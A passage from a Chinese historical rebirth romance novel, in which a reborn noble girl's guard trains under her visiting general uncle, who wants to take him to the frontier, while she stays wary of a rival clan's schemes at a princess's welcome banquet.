真是可惜了,他竟也有看走眼的时候。 “我不过说了一句,你就这么担心我为难她?” 怎么哄着顺着好商量着都没能叫他屈服,提一句小姑娘送的剑,他就怕了? 郑丰南品了品这其中的味道,感慨:“少年人的感情么,不值几个钱,往后你就懂了。她现在待你好,等再过几年她需要嫁人时,她的父母就会待价而沽,为了家族的荣耀,将她卖出去,你们之间的感情,那也是曾经的事了,年少无知,怎能作数?至于你,哪凉快哪待着去吧。” 郑丰南满面郁色,似是经验丰富,深有体会。 谢昭凌没兴趣听,只问:“纵火一事,是冲我来的?” 郑丰南从回忆中回神,嗤笑了声,“那不是,你以为你多重要?还值当我这般大费周章?” 再说了,要想叫他出来,只要一提那小姑娘就行,犯不着还费劲地往乔府塞人。 是近来乔御史蹦得太高,闹得太欢,得寸进尺,真以为有了太子做靠山就了不得了? “三爷看不惯他那嘚瑟样,要给他一点教训,乔御史怕是还不知因为什么呢。” 那颗榆木脑袋整日就知道参这个参那个,何时顾及过家里人?如此自私自利,只顾守着自己原则而置家人安危于不顾的人,郑丰南看不上。 “不过确实有你的因素在。”郑丰南笑道,“我原想着,把这事嫁祸到你身上,一举两得,这样不仅教训了乔御史,乔家也容不下你了,你无处可去,只能来找我,可惜啊,你和乔四在一块。” 谢昭凌淡淡瞥他一眼,“卑鄙。” 郑丰南瞪大了眼,“卑鄙?我没听错吧,这不是你最喜欢的算计吗?我很诚实地告诉你,你应该很喜欢我的坦诚才对。” 看来这半年时间,乔家对他的改变不小。若还想带他走,得尽快了。 谢昭凌要来了自己的答案,没急着走,他手指在桌上敲了敲,“让我跟着你也可以,有条件。” “说来听听。” “不动乔家,不动我的……主子。” 郑丰南思考一瞬,摇头,他坐直身子,正色道:“如今二皇子与太子正斗得火热,柳家与二皇子密不可分,一荣俱荣,乔家支持太子一日,两家人便一日是敌人。” “你若跟着我,迟早要将刀尖对着乔家人。” “你若不跟着我,那我也不会再劝,这是最后一回。下回再落我手上,你自求多福。” 谢昭凌不置可否,起身要离开。 “哎你等等!”郑丰南没敢碰他,走到门口拦在他身前,“还有一事,请你配合。” 少年不耐地瞥他一眼。 “哎对对,就这样!”郑丰南大喜道,“脸再转过去一些,侧对着我,头低些,做思索状。” 少年拧眉,轻蔑地勾唇,“又有何花样?” 他微微挑起眉毛,眼底尽是冷傲,那股不服输又狠厉的感觉又回来了。 郑丰南微微失神,喃喃:“哦,没……” 他忽然问:“你今年多大?” 谢昭凌警惕地道:“有事?” “看样子,十五六,最多不过十七吧?” 眼见少年手又摸上剑鞘,郑丰南猛地摇头,“无事,你,你走吧。” 郑丰南死死盯着少年的背影,直到再无踪影,仍一直看着那方向。下属回来,见他发呆,叫他一声才回神。 郑丰南回忆着少年那副模样,摸了摸下巴,若有所思。 少年的要求,似乎也不是不能做到。 ** 时间一晃,又一年多过去。 转眼要到乔姝月十二岁的生辰。 三月初,处处一片春意盎然。 一年多的时间,谢昭凌又存下了不少银子。他不必再还赎身债,乔姝月也没再从他这打劫。 学堂早就已经重建好,他们白日照常去听学。 乔誉去年没考过,今年还有一次机会,今年若不中,便要再等上两年。好在他年纪还小,如今不到十五,乔家三哥也是十五岁考过院试,进了国子监念书。 到了晚上,只有乔誉会去夜读,谢昭凌再也不去了。 乔姝月问起谢昭凌为何不去,谢昭凌只说,护卫之职,就该时刻侍候在侧。 乔姝月知道,他这是在自责,在后悔,在担心她。 那一晚他若是不离开,她就不会去寻他,也不会与纵火之人迎面对上,险些遇险。 谢昭凌不说,乔姝月却都懂。 晚上用过膳,两人坐在一处,乔姝月忽然问起: “你在悦泉楼,见过东家吗?” 她忽然想起这事,是因为前世在她十二岁的生辰前后,有一桩冲着自己来的“意外”要发生。 她那时不懂,后来柳家害了乔家,她才知道,悦泉楼和柳氏一族密不可分。 谢昭凌再一听到这个名字,有种恍如隔世的感觉。自从那晚和郑丰南见了一面后,郑丰南似乎就从他的世界里消失了,再也没出现过。 他的生活太过平静,安逸到他险些忘了,自己也是从刀尖上滚过来的人。 “嗯,我见过他。” 他果然知道! 乔姝月两眼放光,“是谁?” “郑丰南。” 姓郑? 乔姝月拧起眉,这个名字并不熟悉。 “郑丰南……”她喃喃自语,“和柳氏有关吗?” “有,他听命于柳家三爷。”谢昭凌坦诚道,“我与姓郑的有过接触,他提过几次‘三爷’,后来我打听过,柳家有个三爷,名为柳关山,是柳司空的第三子,整个悦泉楼应该都是他的资产,郑丰南应当只是明面上的东家。” “你竟了解这么多?!”乔姝月瞪大眼睛,“你每日都跟着我,何时去查了这些?!” 谢昭凌无奈笑笑,“姑娘需要我时,我会在。可是姑娘不需要我时,我自然有时间去做自己的事。” 乔姝月纳闷道:“我何时不需要你了?” 谢昭凌停顿了下,迟疑道:“比如,睡觉的时候。” 乔姝月也沉默下来,脸颊泛起可疑的红,她羞赧地搅动着手指,别过头去,小声嘟囔:“也,也可以需要的。” 谢昭凌:“……?” 前世若无陛下陪伴,她便很难入睡。所以陛下再忙,也会抽空过来陪她,哪怕是带着奏折到她跟前。 陛下西征那段时日,她可是花了好长一段时间才适应。 眼见谢昭凌的目光愈发深邃复杂,气氛逐渐焦灼起来,乔姝月咳嗽了声,赶忙转移话题。 “那,那你还查到了什么?有无柳三爷的把柄?” 那位乔姝月是知道的,前世他就是整个乔家最难对付的敌人。 听说他常年不在京城,最初听说他的名号时,乔姝月已经及笄了。 谢昭凌摇头,“我只在郑丰南那里听说过他。” 很神秘的一个人,有用的消息并不多。 他言语间对郑丰南颇为熟悉,加之他方才也说,郑丰南提到过“好几次”三爷,所以他与郑丰南见面不止一回。 想到前世陛下的际遇,乔姝月不免又患得患失起来。当初拯救陛下于水火,给了他机会的那位贵人,应当就是这个郑丰南吧。 她心中惴惴不安,手拉了一下他的袖子。 两年过去,她的小动作分毫没有改变。 她试探道:“那个姓郑的,是不是还说了什么?” 谢昭凌这下安静了好一会。 他沉默的每一刻,乔姝月心里都加重了一份恐慌。 虽然两载时间过去,他们之间已经再融不进任何人,但她还是会犹豫会害怕,犹豫自己夺走了他的机遇会不会不好,害怕他想要离开时自己又没有拦他的勇气。 “月姑娘。” 少年终于开口。 他眉眼间与前世的陛下更为相像,望着她的目光专注而温柔。青涩稚嫩褪去,更添了几分内敛与沉稳,他身上每一处的变化,都越来越像乔姝月前世喜欢的那个人。 两年过去,他身量高了许多,他在长大,连握着她的掌心,也变得愈发宽厚温暖。 他后撤了胳膊,叫她的手从自己的袖子上掉落下来,而后宽大的手掌反手一抓,将她的手合拢在掌心。 慢慢地收紧,安抚地捏了捏。 “银钱虽已还清,但欠姑娘的那份恩情,永世不忘。” 他笑了笑,“知道姑娘那么多秘密,我怎么敢随意离开呢。” 她心里有许多秘密,全部都会告诉他。 而他心里却藏着许多不可与人说起的事。 其中一件,便是他这辈子,再也不会去认别的主人了。 第49章 【49】 没过两天,乔府迎来一个好消息。 褚玄英要回京了。 十年前褚玄英得罪了皇帝,被发配边疆,那之后若无传召,他不得擅自回京。这中间只有寥寥数次,是他奉旨回京述职。他如今戍边有功,已从副将升任主将。 乔姝月自从把攀云剑赠与谢昭凌后,每个月都要给舅舅去一封家书,催问他何日返京。 乔姝月不知谢昭凌前世的好身手是和谁学的,她既改变了他的命运,就得对他的人生负责,缺失的那部分都得给他补回来。 褚玄英是她一早就选好的武学师傅。 只可惜舅舅那边一直没有回来的消息。 褚氏一族能人辈出,早有祖辈随统治者开疆拓土,大杀四方,立下汗马功劳。后有褚玄英这般十八岁便进了千翎卫当差,只五年功夫便一路做到了副统领。 要不是他三十岁时被人算计,中了圈套,后来又开罪了皇帝,他早就能荣升统领之职,成了皇帝跟前的红人。 收到一封一封的来信,褚玄英以为小外甥女想自己,乐得合不拢嘴,在信上回,具体时日并非他说了算的,还要听那狗皇帝的。 其中“狗”字被墨点盖掉了,不过乔姝月还是能猜出来。 乔姝月拿着最后这封回信,摸着下巴,问玉竹:“你从哪儿听说舅舅要回来了?” 玉竹激动道:“我方才去夫人院里领月银,听妙荷和李嬷嬷说的,她们说得赶紧把西边的院子收拾出来,给将军暂住呢。” 乔姝月又低头看了一眼遍信,哼了声,将信扔到一旁,磨牙道:“舅舅这个大骗子。” 这是半个月前才送回来的信,信上还说他赶不回来给她过生辰,乔姝月没放心上,毕竟这些年来,褚玄英从未在她生辰前后回来,她收到信还纳闷,怎么好端端的提起她的生辰。 原来这信只是个障眼法,是要给她一个惊喜。 不管怎么说,舅舅要回来,乔姝月还是欣喜万分的,武学师傅终于要“走马上任”了! 谢昭凌见她如此高兴,也随之勾起唇角。 又过两日,褚玄英进京。等到进宫面完圣,到乔府上,已经过了申时。 谢昭凌陪在乔姝月身边,终于见到了小姑娘念叨了整整两日的男人。 比乔良还要高上一头多,五大三粗的一个汉子,身材魁梧,挺拔健硕。 肤色虽深,但也掩不住英俊的五官,剑眉星目,眉骨深邃,鼻梁高挺,细看之下,还有点异邦人的影子。 见谢昭凌频频往男人脸上瞧,偶尔还瞥一眼褚氏,一边对比,满脸疑惑,乔姝月便知他在想什么,她笑着解释道:“大舅舅的生母有部分的胡人血脉。” 席间长辈们聚在一处说说笑笑,谢昭凌站在女孩身侧,震惊地微微瞪圆了眼睛。 他那双凤眸中极少会出现这种情绪,乔姝月忍俊不禁,同他低声解释:“我娘和舅舅不是同一个母亲。” 褚氏是嫡女,也是褚家唯一一个嫡出。褚家剩下都是男丁,皆为庶出,原本褚氏也有一位亲兄长,可惜未出襁褓便早早夭折。 褚氏满门忠烈,这些年过去,也只余一个褚玄英,其余的儿子皆战死沙场了。 “所以阿娘从不在意嫡庶,她从小与一众庶出兄弟玩在一处,去过不少地方,眼界也比寻常闺阁女儿要高。” 到底是武将世家,没有那么多规矩,不像乔父,出身正统书香世家,浑身都是迂腐古板的味儿。 宴席散去,天色已晚,乔姝月眼见着父母和舅舅道别,由李嬷嬷亲自送舅舅去了住处。 乔姝月食指竖在唇边,用口型道:“我们悄悄跟上去。” 谢昭凌:? 他看了看天上的月亮,无奈地点点头。 虽然不知她又有何稀奇点子,总归自己都是要陪着的。 两人也没带别人,鬼鬼祟祟地尾随在身后。 “将军好好歇息,有事差人来唤老奴就是。” “人太多了,我用不着那么多人伺候,就这个吧,留下一个传话的够了。” 李嬷嬷拗不过他,只得应下,吩咐家仆们将一应物什安置妥当,便不再打扰。 褚玄英寻了个借口,将那仅剩的一个随从也遣走了,这才转过头,目光锐利地盯着某处角落。 “都走了,出来吧。” 乔姝月:“……?” 这是怎么知道的? 谢昭凌见她神情懵懂又茫然,不由得抿唇浅笑。 “小丫头,做贼呢?” 褚玄英正单膝抵在地上,蹲着去捉草丛里的小猫,这可是他回京路上才救回来的,可不能就这么跑了。 他头也没回,听到脚步声就知道是自己那个鬼精的外甥女。 “哟呵,抓住你了。”褚玄英撅在地上,脑袋探进草丛里,右手按住一只小灰猫,他钻出来,睨了一眼两个人,“说吧,鬼鬼祟祟,跟着我作甚?” 话是对乔姝月说的,可眼睛却直勾勾看着她身后的少年。 乔姝月笑着凑过去,“舅舅,您耳聪目明,着实厉害!” “嘁,你那点把戏糊弄旁人还行,我要连这点耳力没有,现在坟头草得三尺高。” “想求您帮点忙。” 求这一字,可是有好多年没听过了。 “说说看。” 乔姝月往一旁让了让,伸手将身后的少年拉到前头,推了出去,讨好地笑道:“舅舅,你看让他跟你学点本事,如何?” 谢昭凌走到近前,身形毫无遮掩。褚玄英一眼就瞄到了少年腰间的佩剑。 这把宝剑他用了二十年,再熟悉不过。 怎么就跑到这少年身上去了? 褚玄英挑了挑眉,意味不明地笑了声。 右手把小灰猫揣进怀里,同时左手反手拔出腰间宝剑,瞬息间便朝少年突袭。 乔姝月眼前一花,什么都没来得及看清,便听一声巨响,耳边嗡鸣四起。 “当——!!” 少年不知何时也拔出了攀云剑,正面迎击。两把剑重重击在一处,谁也没退让。 谢昭凌暗暗心惊,咬着牙,迎着压力,往前又顶了半步。 男人用的不是惯用手,握剑姿势也十分随意,看似轻巧的一击,压得他险些没能招架。 他掌心震得发麻,面上却分毫不显,一争斗起来,他这两年好不容易被养出来的温顺又顷刻间消失得无影无踪,露出了他本来的面目。 他顾不上在小菩萨面前伪装良善,眼前的男人显然也不允许他分心。 谢昭凌敏锐的直觉告诉他,一旦退却,他的手就会被利刃砍掉。 就在他不再压抑厮杀的本性时,男人忽然笑了声,收回手。 谢昭凌也立刻收了剑势,单手执剑,立在一旁。他尚不能很好地将杀气收放自如,亦不能全然遮掩住心里的暴戾与狠厉,黑眸深不见底,能幽幽望穿人心,令人不寒而栗。 杀招一出,半晌都难平复心境。 褚玄英一眼就瞧见了少年内心压抑的野兽。 褚玄英神色如常,漫不经心地将剑收入鞘中,从怀里又把那只小灰猫掏了出来,扔过去。 小猫爪子不利,显然是才被人修剪过的。 乔姝月下意识接住,见那小灰猫扭动着要跳下去,她手疾眼快,合拢十指,将其牢牢抓住。 “这这这,舅舅?” 乔姝月手足无措,茫然看过去。 掌心里尽是毛绒绒的,她还能感觉到它的呼吸与心跳。 褚玄英道:“这猫儿你先帮我养两天,作为交换,我要他留在这当人质。” 谢昭凌:? 他顿时从战斗的状态里跃了出来。 乔姝月:“……可是我并没有很想养它啊。” “你想的,你仔细听听内心的声音。” 乔姝月:“……” “舅舅,你老骗我。” 褚玄英哈哈大笑,活动了下肩膀,“行了,你回去吧,明早就又能看到你的小护卫了。” 褚玄英摆摆手,往屋里走,“对了,你随便找地儿住吧,明早我们——” 谢昭凌冷声拒绝:“我要回木兰院。” 他自觉地站到小姑娘身边,一副坚决不肯离开主子的架势。 褚玄英笑了,“别逼我动粗。” 少年神情倔强,坚决不从。 乔姝月:“……” 怕了。 “别打架,好说好说,在哪儿睡不是睡啊?” 她转过身,疯狂给谢昭凌使眼色。 谢昭凌垂着眼睛,语气低下去:“姑娘不要我了吗。” 乔姝月的脸唰得红了,拼命摆手:“怎会呢?你别多想。” 哎哟,怎么还撒起娇来了? 她看了一眼舅舅,见对方背对着这边,正活动筋骨,拉了下少年的袖子,冲对方招手。 谢昭凌弯下腰,听她坦白:“这是我给你找的武学师傅,可不能得罪。” 谢昭凌为难地看了一眼男人雄壮的背影,抿抿唇,勉强道:“好,都听姑娘的。” 总不能浪费小菩萨的一番心意,她想如何,那他便如何吧。 最后达成一致,谢昭凌在此暂留一晚,不过他说什么都要先把乔姝月送回房,褚玄英满脸不耐烦,他打了半辈子光棍,最见不得腻腻歪歪。他干脆回屋,被子一盖,睡觉去了。 谢昭凌护送乔姝月回去。 “你不必如此,我自己也可以回去,离得不算远。” 谢昭凌有了先前那次经历,再也不会让她独自走夜路。见他坚持,乔姝月不再多说。 “依我看,舅舅对你很满意。” 小姑娘很是兴奋,激动得走路都欢快不少。 谢昭凌目光柔软,“嗯。” 满不满意都无关紧要,只要她喜欢就好。 乔姝月面冲着他,怀里抱着小猫,倒退着走,“对了,我舅舅他讨不到老婆,没人关怀,所以可能脾气会比较硬,你多担待些。” 谢昭凌诧异道:“褚将军的年岁看着……” 也不像没成家的人啊。 “算起来也有四十了吧?我听阿娘说,在我出生前,他有过两任夫人,但都没过一年就病故了,舅舅就觉得自己命硬克妻,很是自责,那之后就再也不肯娶亲了,说是怕耽误人家好姑娘。” “听说以前他在千翎卫任副统领时,皮肤还没现在这么黑,模样也俊,还很有前途,有不少媒人找上门,全都被他拒了。这十几年,一直孤零零一个人,再过两年都要成孤寡老头了。” 两人聊着,很快就到了。 乔姝月手里揉着小灰猫,“你去吧,明日见。” 谢昭凌嗯了声,转身,走出去几步,鬼使神差地回过头。 小姑娘仍站在原地,静静地望着他的背影。她似是没想到他会回头,愣了下,而后扬起笑容,冲他挥手。 印象里似乎也有这样一幕。 那是一年多以前,她初次对他说“喜欢”,说会让他心甘情愿留在身边。他整晚都没睡好,转日浑浑噩噩地和魏二说了会话,一回头,就看到她趴在窗前,笑着冲他招手。 如今,他是心甘情愿的,她所说的“喜欢”,他也渐渐有了感悟。并非是他原以为的,那么肤浅地喜欢他的皮囊。 他们如今能算得上是无话不谈的朋友,这种感觉很奇妙,在谢昭凌的生命里,还未有过这样一个人,他一想起来,就会生出怜惜与偏爱,五味杂陈的滋味都聚在心间,让人茫然无措,又上瘾般地贪恋着。 这两年里,他极少会让她站在自己的身后,看着自己离开。 再现这一幕,谢昭凌心里涌现出一丝异样的感觉。 他忽然往回走去。 乔姝月怔愣着看他回到自己面前,茫然地仰头,看着他的眼睛,“……怎么?” 她看着少年慢慢抬手,而后掌心压到她头上。 不算生疏地温柔地揉了揉,就像她摸怀里的小猫一样。 自始至终,眼底都噙着淡淡的笑意。 “姑娘,好梦。” “……” 直到他的背影全然不见。 乔姝月才慢慢回过神来。 她抬手摸了摸自己的头顶,抿唇笑着,抱着小猫快步跑回房间。 ** 次日清晨,寅时未到。 褚玄英推开房门,见少年已换好衣裳,站在屋中,正在整理腰间的佩剑。 褚玄英有些意外,嘟囔了声“还算勤勉”,便让他跟自己到院子里去。 两人二话不说,直接开打。 一套对招完毕,褚玄英再遮掩不住脸上的笑意。 他围着少年转了一圈,“多大了?” 少年气息不稳,“十七。” 褚玄英抬手捏了捏少年的肩膀:“年纪有些大了。” 不过还好,可塑性很强。 谢昭凌面色不改,他这一年来已不再那么抗拒旁人的碰触。 褚玄英没说做他师父,谢昭凌也不问,让他做什么便做什么。 “没看出来,你还挺听话。” 谢昭凌抹了一把额头的汗,甩甩酸疼的手臂,往外走。 “哎,干什么去?” 谢昭凌回头,“天亮了,我要去做事。” 褚玄英默默无言,半晌,“她在自己院里,丢不了,至于这么急?” 他还想再练两招的。 “我等会还要上学堂。” “你摸摸良心,真是为了去读书?” 谢昭凌油盐不进,冲对方抱拳,“多谢将军,明日再来请教。” 褚玄英:“……” 又过了几日。 距离乔姝月十二岁生辰只剩半月。 前世这个时候,乔姝月刚大病过一场,褚氏去找人卜算了一卦,说是需要办场大宴冲冲煞气,于是褚氏就将她十二岁的生辰大办,还请了不少人。 那时乔家与柳家关系并未恶化,因此褚氏也给柳家递送了请帖,邀人赴宴。 后来在宴席上,被人发现她与柳步亭“私会”,于是柳家大夫人便说,不如让两个孩子定亲吧。 褚氏当然不愿,并未应下,乔父却以为这是柳家人在向自己示好,满面笑意,没有推脱。 那段时间,朝堂之上的柳氏一族对乔父多有退让,乔父便以为自己那一本本奏折是参对了。 他想着,若能结两家之好,那二皇子与太子之间的矛盾是不是就能缓和一二了? 为臣者,理应为君分忧。看到两位皇子兄友弟恭,关系融洽,皇帝必然也会欣喜。 乔父想,若是自己的女儿可以拉近两家的关系,那再好不过。他为陛下分忧,女儿也算为国出力了。 宴席散去,褚氏与乔父大吵一架。 最后亲事当然没成,只不过乔姝月自此算是和柳步亭的名字绑到一起,甩也甩不掉。 随着长大,柳步亭的骚扰愈甚,她直到及笄都没人敢来求娶。等到乔家败落,她更是彻底打上了柳氏的“烙印”,人人都知道柳家小少爷看上她了,谁也不敢触霉头。 就连后来谢昭凌为帝后,那帮老臣也揪着这一点不放,说她同柳氏牵连甚深,关系匪浅。 可是这中间从未有一个人询问过她,那些是不是真的。 只有陛下,只有谢昭凌没有问过她,却也知道她受过的苦,知道她压抑了许多年,知道那些年里,她的一颗心始终属于自己,不属于任何一个男子。 他曾说,一眼看到她,就知她没有爱过旁人。 乔姝月这辈子一直在努力,绝不能再让那狗皮膏药黏上自己。 这一世她提前几个月便注重调理身子,没叫自己生病,因此没有冲煞一说,生辰不大办,便不会有后头的事。只要她不出门,就一定能躲开这一遭。 四月初,乔姝月没有向任何一个人发送生辰宴的邀请。 反而是一封请帖送到了乔姝月的手里,还有一封信。 当时她正在褚氏院里喝茶。 “竟是长灵郡主回来了!”玉竹欣喜道,“郡主当初随王爷回了封地,姑娘哭了好几日呢。” 褚氏正在拨弄算盘,闻言笑了:“郡主在咱们府上住过一段时日,你们两个小丫头啊,走到哪儿就黏到哪。” 长灵郡主在信上说,她今年到了该议亲的年纪,所以便请旨,想在西京城中挑选合适的夫君,皇帝欣然应允,于是她就随父母又回了京城。 昨日抵京,邀乔姝月五日后赴宴。 乔姝月拿着请帖,忧愁地叹了口气。 正是因为小时候关系甚笃,这时才不好拒绝。 长灵郡主是当今皇帝唯一的亲侄女,多少人上赶着巴结呢。 乔姝月若去,到时候又要见到不少人。 旁的倒也罢了,就是不知会不会遇到柳家人。 乔姝月不敢放松警惕,她不想去,可这是她幼时最好的朋友发来的邀请。 且不说当初她们关系好得跟一个人似得,就说长灵手背上的那道疤,也是为了她才留下的。长灵待自己如同亲妹,这回她好不容易回来,自己说什么也不能…… 乔姝月揉了揉脸,发现自己并无第二条路可选。 除非她忽然重病。 可是若生病,那不就和前世的轨迹重合上了吗? 左右都行不通。 乔姝月惆怅之际,褚玄英推门走进来。 劈头盖脸就是一句: “你那护卫,我要带走。” 第50章 【50】 带走? 乔姝月懵了,“带哪儿去?” “回边关啊。” 褚玄英理所当然道。 谢昭凌这才赶到,他大约是被绊住了脚,跑过来时微微喘着气,脸色很难看。 进门后慢下脚步,先对着褚氏行了一礼,又对乔姝月点了下头,而后便目光不善地盯着褚玄英瞧,若是目光化为实质,恨不能剜下来褚玄英一块肉不可。 褚氏一听脸色也掉下来,语气不善:“那怎么能行?那是月儿的人。” 褚玄英土匪作风,大言不惭:“是啊,不是她的人我还不问呢。” 直接掳走,省得麻烦。 谢昭凌听着这熟悉的语气,忽然想起自家小菩萨夺人钱财时的模样。 原来是血脉传承。 褚氏将算盘一推,白了兄长一眼,挥手赶他走,“你要去那苦寒之地吹风便去,谢护卫是月儿的人,你抢不走。” “我抢不抢的走,你说了不算,这得听姝月的,”褚玄英眼巴巴地,“怎么样小外甥女,就舍了他,给舅舅吧?你又用不上,白白浪费了。” 褚玄英有预感,若是他这外甥女不发话,这小子肯定不会跟着自己走的。 不是他说,那粘人劲儿真是没眼看,好歹也是个男儿郎,怎么性子这么不果断,眼界也浅。和他去边关长长见识,不比在这后宅里缩在这一方天地里强? 再打几场胜仗,立立军功,何愁没有前途? 给人当护卫有什么好的,褚玄英想不通。男儿志在四方,有通身的能力却不用在该用的地方,纯粹是暴殄天物。 褚氏一听不乐意了,呛道:“怎么,你带走就不算浪费?留在我女儿身边就成了不值当的了?” 褚玄英慢悠悠道:“此言差矣,国若不存,何以为家?” 褚氏冷哼了声:“危言耸听。” 褚玄英一副坦然自得的模样靠在软榻上,看她一眼,没言语。 乔姝月见舅舅这幅表情,心蓦地下沉。 她不了解朝堂之事,可也好奇过,她幼时的印象里,皇帝虽算不上多英明,但也不是个糊涂的人,怎么前世一直都风平浪静的,后来忽然就战乱四起了呢? 平庸无过错的皇帝变成了暴君,穷兵黩武,劳民伤财,而后又一度沉溺酒色丹药,荒淫无度。 柳家后来肆意敛财,大肆搜刮民脂民膏,也是皇帝纵容的结果。 但那都是因太子病亡,无人制衡二皇子,才起的变化。 眼下距离太子病故还有几年,按理说不该这么早就…… 难不成前世那些变故,不全因太子之故,实则另有他因,且积弊已久了吗? 乔姝月目光落在谢昭凌身上。 她已经留了他两年的时间,或许是该放他去广阔的天空里翱翔了。 然一想到两人要分开,她就五脏六腑剧痛,瞬间就要落下泪来。 实在是害怕与他分别了,上回的离别便是永别,阴阳两隔。 但往好处想,前世的陛下活得比她还久,而她若继续沿着前世的轨迹,也不会早早就死。 他们总有能再见面的时候。 更何况,他们如今的关系与前世全然不同,这辈子乔家的命运也已改变了太多,自己实在没什么可忧虑的。 如此想着,她目光里逐渐透露出了一丝坚决。 而这一切,她的每个神情变化,都被谢昭凌看在了眼中。 谢昭凌不动声色地垂下眼,默默捏紧了拳。 褚氏坚决反对,褚玄英也没缠着外甥女要一个结果,反正他此次回京还要再待上一段时日,并不急于在此刻,他有的是时间慢慢磨。 之后的几日中,谢昭凌依旧每日天不亮就去和褚玄英学习,等到早上,再和乔姝月一起去学堂读书。 乔姝月敬佩少年旺盛的精力,看着他每日游刃有余地处理每一件事,有条不紊,沉稳可靠,他不仅忙的事多,且每件都做到了拔尖,令人赞不绝口。 乔姝月愈发觉得,自己强行捆着他在身边是个很自私的行为。 谢昭凌何尝看不出她是如何想的,他一向都听她的,如今却又暗暗生了反骨。 先前乔誉问他,若遇到机会,是否会离开乔家,他答得果断。 他依旧不会放弃任何一个机会。 他这辈子信奉的都是人要一直往上爬,唯有不断地往上走,才能免于被人踩在脚下的悲哀。 那种无力的感觉,他再也不想体会了。 他心里燃烧着对权力的渴望,随着长大,那念头愈发强烈,在他心头烧得炽烈无比。 褚玄英无疑是个好的选择。 比起郑丰南,他如今更愿意跟一个好人走。 可……边关实在是太远了。 鞭长莫及,他心里放心不下她。 次日,到了王府举办接风宴的日子。 褚氏事忙,便叫大嫂陆氏带着乔姝月去,乔姝月一路上都乖巧地跟在大嫂身边。 今日至关重要,她生辰前的每一日都得小心谨慎。 王府的掌事嬷嬷将乔府一众人引进门,看了一眼乔姝月身边跟着的少年,笑道:“今日的宴席,男女是分席的,所以护卫小厮便不用再往里去了。” 乔姝月心头一紧,回头望向谢昭凌。 少年瞧见她眼里的无措与恐慌,目光晦暗下去。 陆氏思忖片刻,“那谢护卫便在外院等候吧。” 掌事嬷嬷又道:“护卫到府外等候便好,王爷特为各府上的随从设了棚,可遮阳休憩,吃喝也都是有的,夫人尽可放心。” 陆氏这下皱了眉,她抬头见别家的下人也都被赶了出去,深吸口气,“谢护卫,那你就去吧。” 乔姝月犹豫了下,也冲着他点点头,“莫要乱跑,等我们出来。” 谢昭凌面上看不出表情,低头道了声“是”,转身跟着王府的人走了。 才走出府门,王府护卫便把他撂下,抬手指了指不远处的一个棚子,敷衍道:“自己去吧。” 说完便回了府。 谢昭凌没去,他环顾四周,绕到了一条人烟稀少的小径上,趁着四下无人,足尖轻点,几步便攀上了一棵茂密的大树上。 他腿上功夫好,这几下做得毫无声息,蹲在粗壮的树枝上,眺目远望。 位置选得不错,周遭的绿叶可以将他身形掩住,而他的目光恰好能透过树叶的间隙,直直望向王府后宅。 他锐利的目光仔细地搜寻,而后定格在某个娇小的身影上,慢慢露出了笑意。 ** 招待女眷的院子别有洞天,位于王府北侧的一座小花园旁。 底下人传乔御史家的女眷到了,长灵郡主早早便在入口处亲自等候。 乔姝月一露面,长灵便红着眼睛扑了上去。 乔姝月被撞得后退一步,手撑住对方的腰侧,险些闷死在对方的怀里。 陆氏见她们有很多话要说,笑着与另一夫人往一旁去了。 乔姝月脱离怀抱,这才抬头看清了长灵郡主的模样。 只见长灵两眼通红,埋怨道:“你也不派人来给我送个信。” 乔姝月弯唇笑道:“想着你才归京,定然分身乏术,便没多做打扰。” 许久不见,多少有些生疏,加之乔姝月实际来自于十年后,算起来也有十几年没见过长灵了。她好说歹说,才哄得郡主消了火气。 长灵郡主还要去招待别的客人,将乔姝月送至席位便离开。陆思蓁和林韵见她落单,都凑了过来。 三人在一处,聊了近日的趣闻。 “王爷回京,这两天王府的门槛都要叫人踏破了。”陆思蓁啧啧两声,“长灵郡主马上就要十五,听说她会在京中待过及笄?” 乔姝月嗯了一声,“王爷想在西京择婿。” 陆思蓁看了一圈周围,见大家都三三两两聚在一处,这才压低声道:“当年王爷离京,听说是国师说了坏话,这才将君王忌惮,给赶回封地了。” 乔姝月瞪她一眼,“你在人家地盘上呢,莫要乱嚼舌根。” 陆思蓁生生忍住八卦的欲望。 乔姝月转头关怀起林韵来。 陆思蓁见两位好友聊得开心,自己实在无聊,忍了忍,又凑过去道:“你们说国师何意?怎么又让……回来了?” 数年前,国师扯了个冠冕堂皇的理由,将反对他的魏王给算计回了封地。 这几年间,皇帝对国师的信任愈发深重。而二皇子能被皇帝喜爱,除了一部分原因是他的生母是先贵妃,那是皇帝的挚爱,还有部分的原因就在国师身上。 国师说二皇子命格显贵,尤旺大昌,说此子与皇帝五行相合,若放在身边教导,不仅能国运昌隆,还能让皇帝延年益寿。 出于一些原因,皇帝对国师的话始终深信不疑。 所以当时出现对魏王不利的证据时,皇帝没多犹豫便同意了国师的建议,让魏王回封地去。 可如今却不同了。 乔姝月心里清楚,太子势起,近来深得皇帝的心。国师或许有所应对,但如今的局势,明晃晃昭示着国师的行动收效甚微,二皇子与柳家有了制衡,国师的话也不管用了。 她睨了好友一眼,“不是都说了,要择婿。” 乔姝月谨言慎行,没有接着话题聊。 有一些事不该她知道,有一些话也不该由她说出口。 祸从口出,哪怕是对着挚友,在外面她也保持着警惕,不敢乱说。 至于那位国师,还不到同他清算的时候。 乔姝月道:“你再说那些我们听不懂的,就别怪我不理你了。” 陆思蓁无奈求饶:“我错了,你别恼。” 她也知道乔姝月是为自己好,但她实在憋不住。也罢,那些话还是回国公府和哥哥们去说吧。 乔姝月说起近来京中风靡的穿戴,陆思蓁又来了精神,三人凑在一处,嘀嘀咕咕。 直到王妃携郡主出场,众人才安静下来。 场面话过去,宴席开始。 乔姝月没敢碰面前的饭食,她趁人不注意,将王府婢女倒的清茶泼到脚下,用帕子小心翼翼地沿着杯沿擦拭一圈,才找陆思蓁借了她面前的茶壶,自己重新倒了一杯。 整个席间,乔姝月都十分警惕,生怕入口的东西不干净,被人引去偏僻的厢房,到时候发生点不为人知的事,就不好办了。 她早就准备了糕点,从袖子里取出,放到自己的碗里,低头吃过后,碗里特意剩下点残渣,旁人一眼看过来,也不会质疑她为何不吃东西。 乔姝月的一套小动作也只有林韵瞧见,林韵性子安静,虽疑惑,却也没问出口,还帮乔姝月遮掩,若有人望过来,她就拉拉乔姝月的袖子,提示对方。 见旁人的目光挪走,两人对视,会心一笑。 乔姝月此行带了玉竹和紫棉两名婢女,玉竹不知吃坏了什么东西,中途便去了茅房,半晌过去都不见回来,乔姝月放心不下,便叫紫棉去看看。 两名婢女不在身边,乔姝月老老实实待在宴席上,不敢乱走。 紫棉前脚刚走,便有婢女来寻她,说长灵郡主在后头等她,有话要单独和她说,请她过去一趟。 